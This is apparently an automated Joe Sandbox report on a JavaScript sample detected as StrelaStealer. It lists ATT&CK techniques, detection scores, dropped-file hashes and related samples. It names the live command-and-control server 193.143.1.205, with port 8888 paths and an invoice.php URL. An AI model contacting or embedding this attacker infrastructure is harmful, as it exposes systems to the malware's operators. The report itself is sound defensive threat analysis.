Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
326794322661816170.js	9%	Virustotal		Browse
326794322661816170.js	11%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2241976440.0000022677200000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3421732545.0000022677400000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false	high
http://193.143.1.205:8888/t	net.exe, 00000007.00000002.2243730839.000001BEA5DAA000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2243730839.000001BEA5D78000.00000004.00000020.00020000.00000000.sdmp	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2243730839.000001BEA5DAA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2243730839.000001BEA5DCA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2243730839.000001BEA5D78000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588969
Start date and time:	2025-01-11 07:46:50 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 4s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	18
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	326794322661816170.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.6.155.20, 52.22.41.97, 3.219.243.226, 3.233.129.217, 172.64.41.3, 162.159.61.3, 23.209.209.135, 2.23.242.162, 199.232.214.172, 2.16.168.107, 2.16.168.105, 184.28.90.27, 13.107.246.45, 4.175.87.197, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:47:48	API Interceptor	25x Sleep call for process: powershell.exe modified
01:47:52	API Interceptor	1x Sleep call for process: net.exe modified
01:47:52	API Interceptor	2x Sleep call for process: svchost.exe modified
01:47:59	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	30011267761667014058.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1194187433219817322.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1418132746179806359.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2449715899306403241.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.726299002051659
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0z:9JZj5MiKNnNhoxuW
MD5:	B37B559513BC185083BE339EB95E55EE
SHA1:	B43DCC1A2853A0314A3F494181235FECFED0475E
SHA-256:	91DB3F6FE7C0E30213FAE18A55B056365C6F4F484153E9EA41B354550E0D0CFC
SHA-512:	511299453D352F5512C9916107B9E76C59A4725F28A62AEC9C51EE8C6D50DC386A9C61428F14F9F990230C813BF31A7E1731CECE9517BECC86EBF60CF113CCCE
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0x2f5866af, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555317944428469
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	21794E87C8CF331002EE1228F2A09CE7
SHA1:	CEF4AAD187824C0827E62FD93D96B3DB76CCF874
SHA-256:	5FB2E1040CDF0F3A48CBF844E371AAF6EBA4644A618A86FB7E5A60A685FA3B1D
SHA-512:	D9A5CDE0744EFAD7B93B5435C6BAD045848215C4D31E78CC1BB789374EE91249414BBEB9ED221FB972DE1CC4FFA99537F8F1FF4DB0A4DEA4E849A8B36D3937B8
Malicious:	false
Preview:	/Xf.... .......7.......X\...;...{......................0.e......!...{?.5/...}g.h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................sd.5/...}g.....................5/...}g..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07964043015143035
Encrypted:	false
SSDEEP:	3:gtYen4uu3KANaAPaU1ldY/l/illuxmO+l/SNxOf:gtznjmNDPaUoGgmOH
MD5:	636EE53223E0D55A9209065B851C9858
SHA1:	2A29E7740748B5912F2BB6E864E17462911058D2
SHA-256:	871CB84CC6F28DC72BB5D5E3592AFDD5FC2B5AD6795B415BC542078B61911923
SHA-512:	1C85E4A17124387AC814BD12F237BAA6D31450EC7AB45C9AB9FC027E3E93D5FB7434A37894BCCBA56F07D06D7172E46BD6879B0A33C3FE76E73B9B7116957C38
Malicious:	false
Preview:	k*s......................................;...{..5/...}g..!...{?..........!...{?..!...{?..g...!...{?.....................5/...}g.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.181678913357977
Encrypted:	false
SSDEEP:	6:iOn5maq2PN72nKuAl9OmbnIFUtF5mVFbhZmwr5mVFb7kwON72nKuAl9OmbjLJ:7n9vVaHAahFUtFmd/rmv5OaHAaSJ
MD5:	19BB72EC481E3B1A899744C2F38F136C
SHA1:	CF70F98AC806BEF902866458D6017A95C9E07F10
SHA-256:	0D0A00A15C7C4EDD9F6E7B24936F981075222E5A81CCBB35A082EE80B9C04ED7
SHA-512:	162936303C734A2B877BAD620540F82559802A2E958A9F48003D4AB1C3B9082E7CE0EE410BD564DEF588FAE5413420E46DB60FFC9AD43779D143D0433C3D7F36
Malicious:	false
Preview:	2025/01/11-01:47:52.179 fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:47:52.182 fb0 Recovering log #3.2025/01/11-01:47:52.182 fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.181678913357977
Encrypted:	false
SSDEEP:	6:iOn5maq2PN72nKuAl9OmbnIFUtF5mVFbhZmwr5mVFb7kwON72nKuAl9OmbjLJ:7n9vVaHAahFUtFmd/rmv5OaHAaSJ
MD5:	19BB72EC481E3B1A899744C2F38F136C
SHA1:	CF70F98AC806BEF902866458D6017A95C9E07F10
SHA-256:	0D0A00A15C7C4EDD9F6E7B24936F981075222E5A81CCBB35A082EE80B9C04ED7
SHA-512:	162936303C734A2B877BAD620540F82559802A2E958A9F48003D4AB1C3B9082E7CE0EE410BD564DEF588FAE5413420E46DB60FFC9AD43779D143D0433C3D7F36
Malicious:	false
Preview:	2025/01/11-01:47:52.179 fb0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:47:52.182 fb0 Recovering log #3.2025/01/11-01:47:52.182 fb0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1603482214033205
Encrypted:	false
SSDEEP:	6:iOn5rx+q2PN72nKuAl9Ombzo2jMGIFUtF5ludQ5Zmwr5ludQtVkwON72nKuAl9OU:7nV8vVaHAa8uFUtFCS5/rCST5OaHAa8z
MD5:	58ECA1F56535EB76A6AA07F6A3A68A2F
SHA1:	41F00DAF57EC73AC1C1F29A2933B34B49F54D795
SHA-256:	B0AB6B6C077D2F0F93A4310DBD5FA129E40198C409D7436E973930AF3DF15DE3
SHA-512:	558F44C363E4196007B7B7F831DAE1C0237C22820F9870936558FF5E38F1D5EFF5E26359F4FDE5005E763ADF8D0B6278D003C51C66A98514E29EAFACA6A4C3BA
Malicious:	false
Preview:	2025/01/11-01:47:52.206 1858 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:47:52.208 1858 Recovering log #3.2025/01/11-01:47:52.208 1858 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.1603482214033205
Encrypted:	false
SSDEEP:	6:iOn5rx+q2PN72nKuAl9Ombzo2jMGIFUtF5ludQ5Zmwr5ludQtVkwON72nKuAl9OU:7nV8vVaHAa8uFUtFCS5/rCST5OaHAa8z
MD5:	58ECA1F56535EB76A6AA07F6A3A68A2F
SHA1:	41F00DAF57EC73AC1C1F29A2933B34B49F54D795
SHA-256:	B0AB6B6C077D2F0F93A4310DBD5FA129E40198C409D7436E973930AF3DF15DE3
SHA-512:	558F44C363E4196007B7B7F831DAE1C0237C22820F9870936558FF5E38F1D5EFF5E26359F4FDE5005E763ADF8D0B6278D003C51C66A98514E29EAFACA6A4C3BA
Malicious:	false
Preview:	2025/01/11-01:47:52.206 1858 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:47:52.208 1858 Recovering log #3.2025/01/11-01:47:52.208 1858 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.952708173693799
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrdasBdOg2HgQfcaq3QYiubcP7E4T3y:Y2sRdsidfdMHNu3QYhbA7nby
MD5:	B34DA1646DD66E5CCF70807FE623D112
SHA1:	4E1BB4CE4DB59BD76EC78B34DD65039B015D490B
SHA-256:	5431007A803EAF26402B240C247DB1B9C3BBBEB83AF649244056BF899DC6EE38
SHA-512:	7A6F7821D9F00D9CE521211FEED4020E1D6E1BBE120A2E62CAA1158E9FF4AAC7A8D30ED8E5B5B06F50D3EE69D80EFD9935C3781544E94EA34A52A17C39B20683
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138083885853","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":314940},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cbe0a116-21ed-4ef3-b301-57f24545cfab.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.952708173693799
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrdasBdOg2HgQfcaq3QYiubcP7E4T3y:Y2sRdsidfdMHNu3QYhbA7nby
MD5:	B34DA1646DD66E5CCF70807FE623D112
SHA1:	4E1BB4CE4DB59BD76EC78B34DD65039B015D490B
SHA-256:	5431007A803EAF26402B240C247DB1B9C3BBBEB83AF649244056BF899DC6EE38
SHA-512:	7A6F7821D9F00D9CE521211FEED4020E1D6E1BBE120A2E62CAA1158E9FF4AAC7A8D30ED8E5B5B06F50D3EE69D80EFD9935C3781544E94EA34A52A17C39B20683
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138083885853","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":314940},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252484991102461
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7yCSd:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhU
MD5:	1BDBFB95283D3128E4D71E0776E1D21B
SHA1:	DF375D59CFDB6F6229824F80C423CC879BED9D03
SHA-256:	7869785F384AD1172EED38C2FF8DA3728B9C20D0E95B9026430443EF68107F67
SHA-512:	E6014DF70E7FC00793797EEFFCC335B56F8AEC4C4BBFE04860A0EE03B82C6313F6825BCC2EE0561C844BFF2BF35EFA83B5CB8B1673F11FA5DE6C8E24EEABB225
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.206255190224272
Encrypted:	false
SSDEEP:	6:iOn5uu+q2PN72nKuAl9OmbzNMxIFUtF5utZmwr5u0VkwON72nKuAl9OmbzNMFLJ:7nOvVaHAa8jFUtFk/rP5OaHAa84J
MD5:	E4061C73162CE55EE2F828B126D09731
SHA1:	D9B56533E58F64CE2E40F987585CA4DEF859876F
SHA-256:	D75EF4BDBC215F9EE7603765EA1BA7A9109FB21DD33AC9C9671D9245BC52326D
SHA-512:	44134CE32AA9D3B263CE841223C57C90784ADD6875CCEA942C09AB6024D6262DF1292C19DC05420DC1A72D11124317753DDA29BF84E5C2DA335C3F1CC970266B
Malicious:	false
Preview:	2025/01/11-01:47:52.963 1858 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:47:52.971 1858 Recovering log #3.2025/01/11-01:47:52.972 1858 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.206255190224272
Encrypted:	false
SSDEEP:	6:iOn5uu+q2PN72nKuAl9OmbzNMxIFUtF5utZmwr5u0VkwON72nKuAl9OmbzNMFLJ:7nOvVaHAa8jFUtFk/rP5OaHAa84J
MD5:	E4061C73162CE55EE2F828B126D09731
SHA1:	D9B56533E58F64CE2E40F987585CA4DEF859876F
SHA-256:	D75EF4BDBC215F9EE7603765EA1BA7A9109FB21DD33AC9C9671D9245BC52326D
SHA-512:	44134CE32AA9D3B263CE841223C57C90784ADD6875CCEA942C09AB6024D6262DF1292C19DC05420DC1A72D11124317753DDA29BF84E5C2DA335C3F1CC970266B
Malicious:	false
Preview:	2025/01/11-01:47:52.963 1858 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:47:52.971 1858 Recovering log #3.2025/01/11-01:47:52.972 1858 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444692861135201
Encrypted:	false
SSDEEP:	384:ye6ci5tJiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mqs3OazzU89UTTgUL
MD5:	7013E63CD523BB0F95D548C72610A95F
SHA1:	C7F85DD973FAAE8F349E20C681B6F7FDA4C847D3
SHA-256:	2A8BEAB6D9FFBB6034A96BB887DAC7D220BA14BA9950112EBF61AFFB004D0BEB
SHA-512:	728B46E32984EA23FF0A2F839A0A953172925F4E09284A3671EC14E26F8158A351652440CB7C7A584EB59A233368A8B81A7CF93D9ECA253C7267E637B0703768
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7674358074566445
Encrypted:	false
SSDEEP:	48:7MSJioyVuioyYoy1C7oy16oy10KOioy1noy1AYoy1Wioy1oioykioyBoy1noy1O4:7xJuu8HXjBi1b9IVXEBodRBkx
MD5:	1E5D1F17D2D9C8CA85998D87069CF970
SHA1:	9CC6E814F9E6E62606268A80E0F7414BA10F4D9B
SHA-256:	624A9DCE3136D44F8348A858FFDF12FAC0DC40FDC9960B288147A29B1058E891
SHA-512:	99DFF29C86968DEE43D973D9E52B853242FFB88A2321C59A302C7C4084DBBE60ADACBC0947600B73BEAB9E5CB8EB2ECC99CEAF811540A869CB1BE241DB11B8BC
Malicious:	false
Preview:	.... .c.....'.XY...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
